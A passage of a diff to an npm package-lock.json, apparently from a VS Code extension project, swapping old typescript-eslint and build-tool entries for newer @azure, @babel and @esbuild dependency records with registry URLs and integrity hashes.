"@typescript-eslint/experimental-utils": "5.4.0", - "@typescript-eslint/scope-manager": "5.4.0", - "debug": "^4.3.2", - "functional-red-black-tree": "^1.0.1", - "ignore": "^5.1.8", - "regexpp": "^3.2.0", - "semver": "^7.3.5", - "tsutils": "^3.21.0" + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.4.0", + "@azure/core-tracing": "^1.0.1", + "@azure/core-util": "^1.9.0", + "@azure/logger": "^1.0.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "tslib": "^2.6.2" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^5.0.0", - "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/experimental-utils": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.4.0.tgz", - "integrity": "sha512-Nz2JDIQUdmIGd6p33A+naQmwfkU5KVTLb/5lTk+tLVTDacZKoGQisj8UCxk7onJcrgjIvr8xWqkYI+DbI3TfXg==", + "node_modules/@azure/core-rest-pipeline/node_modules/@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", "dev": true, "dependencies": { - "@types/json-schema": "^7.0.9", - "@typescript-eslint/scope-manager": "5.4.0", - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/typescript-estree": "5.4.0", - "eslint-scope": "^5.1.1", - "eslint-utils": "^3.0.0" + "tslib": "^2.6.2" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "*" + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/parser": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.4.0.tgz", - "integrity": "sha512-JoB41EmxiYpaEsRwpZEYAJ9XQURPFer8hpkIW9GiaspVLX8oqbqNM8P4EP8HOZg96yaALiLEVWllA2E8vwsIKw==", + "node_modules/@azure/core-tracing": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.1.2.tgz", + "integrity": "sha512-dawW9ifvWAWmUm9/h+/UQ2jrdvjCJ7VJEuCJ6XVNudzcOwm53BFZH4Q845vjfgoUAM8ZxokvVNxNxAITc502YA==", "dev": true, "dependencies": { - "@typescript-eslint/scope-manager": "5.4.0", - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/typescript-estree": "5.4.0", - "debug": "^4.3.2" + "tslib": "^2.6.2" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.4.0.tgz", - "integrity": "sha512-pRxFjYwoi8R+n+sibjgF9iUiAELU9ihPBtHzocyW8v8D8G8KeQvXTsW7+CBYIyTYsmhtNk50QPGLE3vrvhM5KA==", + "node_modules/@azure/core-util": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.9.0.tgz", + "integrity": "sha512-AfalUQ1ZppaKuxPPMsFEUdX6GZPB3d9paR9d/TTL7Ow2De8cJaC7ibi7kWVlFAVPCYo31OcnGymc0R89DX8Oaw==", "dev": true, "dependencies": { - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/visitor-keys": "5.4.0" + "@azure/abort-controller": "^2.0.0", + "tslib": "^2.6.2" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/types": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.4.0.tgz", - "integrity": "sha512-GjXNpmn+n1LvnttarX+sPD6+S7giO+9LxDIGlRl4wK3a7qMWALOHYuVSZpPTfEIklYjaWuMtfKdeByx0AcaThA==", + "node_modules/@azure/core-util/node_modules/@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", "dev": true, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "dependencies": { + "tslib": "^2.6.2" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" + "engines": { + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.4.0.tgz", - "integrity": "sha512-nhlNoBdhKuwiLMx6GrybPT3SFILm5Gij2YBdPEPFlYNFAXUJWX6QRgvi/lwVoadaQEFsizohs6aFRMqsXI2ewA==", + "node_modules/@azure/identity": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.2.1.tgz", + "integrity": "sha512-U8hsyC9YPcEIzoaObJlRDvp7KiF0MGS7xcWbyJSVvXRkC/HXo1f0oYeBYmEvVgRfacw7GHf6D6yAoh9JHz6A5Q==", "dev": true, "dependencies": { - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/visitor-keys": "5.4.0", - "debug": "^4.3.2", - "globby": "^11.0.4", - "is-glob": "^4.0.3", - "semver": "^7.3.5", - "tsutils": "^3.21.0" + "@azure/abort-controller": "^1.0.0", + "@azure/core-auth": "^1.5.0", + "@azure/core-client": "^1.4.0", + "@azure/core-rest-pipeline": "^1.1.0", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.3.0", + "@azure/logger": "^1.0.0", + "@azure/msal-browser": "^3.11.1", + "@azure/msal-node": "^2.9.2", + "events": "^3.0.0", + "jws": "^4.0.0", + "open": "^8.0.0", + "stoppable": "^1.1.0", + "tslib": "^2.2.0" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } + "node": ">=18.0.0" } }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.4.0.tgz", - "integrity": "sha512-PVbax7MeE7tdLfW5SA0fs8NGVVr+buMPrcj+CWYWPXsZCH8qZ1THufDzbXm1xrZ2b2PA1iENJ0sRq5fuUtvsJg==", + "node_modules/@azure/logger": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.1.2.tgz", + "integrity": "sha512-l170uE7bsKpIU6B/giRc9i4NI0Mj+tANMMMxf7Zi/5cKzEqPayP7+X1WPrG7e+91JgY8N+7K7nF2WOi7iVhXvg==", "dev": true, "dependencies": { - "@typescript-eslint/types": "5.4.0", - "eslint-visitor-keys": "^3.0.0" + "tslib": "^2.6.2" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" + "node": ">=18.0.0" } }, - "node_modules/@ungap/promise-all-settled": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", - "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", - "dev": true - }, - "node_modules/@vscode/test-electron": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-1.6.2.tgz", - "integrity": "sha512-W01ajJEMx6223Y7J5yaajGjVs1QfW3YGkkOJHVKfAMEqNB1ZHN9wCcViehv5ZwVSSJnjhu6lYEYgwBdHtCxqhQ==", + "node_modules/@azure/msal-browser": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-3.14.0.tgz", + "integrity": "sha512-Un85LhOoecJ3HDTS3Uv3UWnXC9/43ZSO+Kc+anSqpZvcEt58SiO/3DuVCAe1A3I5UIBYJNMgTmZPGXQ0MVYrwA==", "dev": true, "dependencies": { - "http-proxy-agent": "^4.0.1", - "https-proxy-agent": "^5.0.0", - "rimraf": "^3.0.2", - "unzipper": "^0.10.11" + "@azure/msal-common": "14.10.0" }, "engines": { - "node": ">=8.9.3" + "node": ">=0.8.0" } }, - "node_modules/acorn": { - "version": "8.6.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.6.0.tgz", - "integrity": "sha512-U1riIR+lBSNi3IbxtaHOIKdH8sLFv3NYfNv8sg7ZsNhcfl4HF2++BfqqrNAxoCLQW1iiylOj76ecnaUxz+z9yw==", + "node_modules/@azure/msal-common": { + "version": "14.10.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.10.0.tgz", + "integrity": "sha512-Zk6DPDz7e1wPgLoLgAp0349Yay9RvcjPM5We/ehuenDNsz/t9QEFI7tRoHpp/e47I4p20XE3FiDlhKwAo3utDA==", "dev": true, - "bin": { - "acorn": "bin/acorn" + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-node": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-2.9.2.tgz", + "integrity": "sha512-8tvi6Cos3m+0KmRbPjgkySXi+UQU/QiuVRFnrxIwt5xZlEEFa69O04RTaNESGgImyBBlYbo2mfE8/U8Bbdk1WQ==", + "dev": true, + "dependencies": { + "@azure/msal-common": "14.12.0", + "jsonwebtoken": "^9.0.0", + "uuid": "^8.3.0" }, "engines": { - "node": ">=0.4.0" + "node": ">=16" } }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "node_modules/@azure/msal-node/node_modules/@azure/msal-common": { + "version": "14.12.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.12.0.tgz", + "integrity": "sha512-IDDXmzfdwmDkv4SSmMEyAniJf6fDu3FJ7ncOjlxkDuT85uSnLEhZi3fGZpoR7T4XZpOMx9teM9GXBgrfJgyeBw==", "dev": true, - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + "engines": { + "node": ">=0.8.0" } }, - "node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "node_modules/@babel/code-frame": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", "dev": true, "dependencies": { - "debug": "4" + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" }, "engines": { - "node": ">= 6.0.0" + "node": ">=6.9.0" } }, - "node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "node_modules/@babel/generator": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.3.tgz", + "integrity": "sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==", "dev": true, + "license": "MIT", "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" + "@babel/parser": "^7.28.3", + "@babel/types": "^7.28.2", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" + "engines": { + "node": ">=6.9.0" } }, - "node_modules/ansi-colors": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", - "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", "dev": true, + "license": "MIT", "engines": { - "node": ">=6" + "node": ">=6.9.0" } }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", "dev": true, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">=6.9.0" } }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/@babel/helper-validator-identifier": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": ">=6.9.0" } }, - "node_modules/anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "node_modules/@babel/parser": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.3.tgz", + "integrity": "sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==", "dev": true, + "license": "MIT", "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" + "@babel/types": "^7.28.2" + }, + "bin": { + "parser": "bin/babel-parser.js" }, "engines": { - "node": ">= 8" + "node": ">=6.0.0" } }, - "node_modules/aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true - }, - "node_modules/are-we-there-yet": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.7.tgz", - "integrity": "sha512-nxwy40TuMiUGqMyRHgCSWZ9FM4VAoRP4xUYSTv5ImRog+h9yISPbVH7H8fASCIzYn9wlEv4zvFL7uKDMCFQm3g==", + "node_modules/@babel/template": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", "dev": true, + "license": "MIT", "dependencies": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" } }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true - }, - "node_modules/array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "node_modules/@babel/traverse": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.3.tgz", + "integrity": "sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==", "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.3", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.3", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.2", + "debug": "^4.3.1" + }, "engines": { - "node": ">=8" + "node": ">=6.9.0" } }, - "node_modules/azure-devops-node-api": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-11.1.0.tgz", - "integrity": "sha512-6/2YZuf+lJzJLrjXNYEA5RXAkMCb8j/4VcHD0qJQRsgG/KsRMYo0HgDh0by1FGHyZkQWY5LmQyJqCwRVUB3Y7Q==", + "node_modules/@babel/types": { + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", "dev": true, + "license": "MIT", "dependencies": { - "tunnel": "0.0.6", - "typed-rest-client": "^1.8.4" + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" } }, - "node_modules/balanced-match": { + "node_modules/@bcoe/v8-coverage": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/big-integer": { - "version": "1.6.51", - "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", - "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", "dev": true, + "license": "MIT", "engines": { - "node": ">=0.6" + "node": ">=18" } }, - "node_modules/binary": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz", - "integrity": "sha1-n2BVO8XOjDOG87VTz/R0Yq3sqnk=", + "node_modules/@colors/colors": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", + "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", "dev": true, - "dependencies": { - "buffers": "~0.1.1", - "chainsaw": "~0.1.0" - }, + "license": "MIT", "engines": { - "node": "*" + "node": ">=0.1.90" } }, - "node_modules/binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "node_modules/@dabh/diagnostics": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.8.tgz", + "integrity": "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==", "dev": true, - "engines": { - "node": ">=8" + "dependencies": { + "@so-ric/colorspace": "^1.1.6", + "enabled": "2.0.x", + "kuler": "^2.0.0" } }, - "node_modules/bl": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "node_modules/@esbuild/aix-ppc64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.0.tgz", + "integrity": "sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==", + "cpu": [ + "ppc64" + ], "dev": true, - "dependencies": { - "buffer": "^5.5.0", - "inherits": "^2.0.4", - "readable-stream": "^3.4.0" + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" } }, - "node_modules/bl/node_modules/readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "node_modules/@esbuild/android-arm": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.0.tgz", + "integrity": "sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==", + "cpu": [ + "arm" + ], "dev": true, - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, + "optional": true, + "os": [ + "android" + ], "engines": { - "node": ">= 6" + "node": ">=18" } }, - "node_modules/bluebird": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz", - "integrity": "sha1-9y12C+Cbf3bQjtj66Ysomo0F+rM=", - "dev": true - }, - "node_modules/boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", - "dev": true - }, - "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" + "node_modules/@esbuild/android-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.0.tgz", + "integrity": "sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" } }, - "node_modules/braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "node_modules/@esbuild/android-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.0.tgz", + "integrity": "sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==", + "cpu": [ + "x64" + ], "dev": true, - "dependencies": { - "fill-range": "^7.0.1" - }, + "optional": true, + "os": [ + "android" + ], "engines": { - "node": ">=8" + "node": ">=18" } }, - "node_modules/browser-stdout": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", - "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", - "dev": true - }, - "node_modules/buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "node_modules/@esbuild/darwin-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.0.tgz", + "integrity": "sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==", + "cpu": [ + "arm64" + ], "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } + "optional": true, + "os": [ + "darwin" ], - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" + "engines": { + "node": ">=18" } }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", + "node_modules/@esbuild/darwin-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.0.tgz", + "integrity": "sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==", + "cpu": [ + "x64" + ], "dev": true, + "optional": true, + "os": [ + "darwin" + ], "engines": { - "node": "*" + "node": ">=18" } }, - "node_modules/buffer-indexof-polyfill": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz", - "integrity": 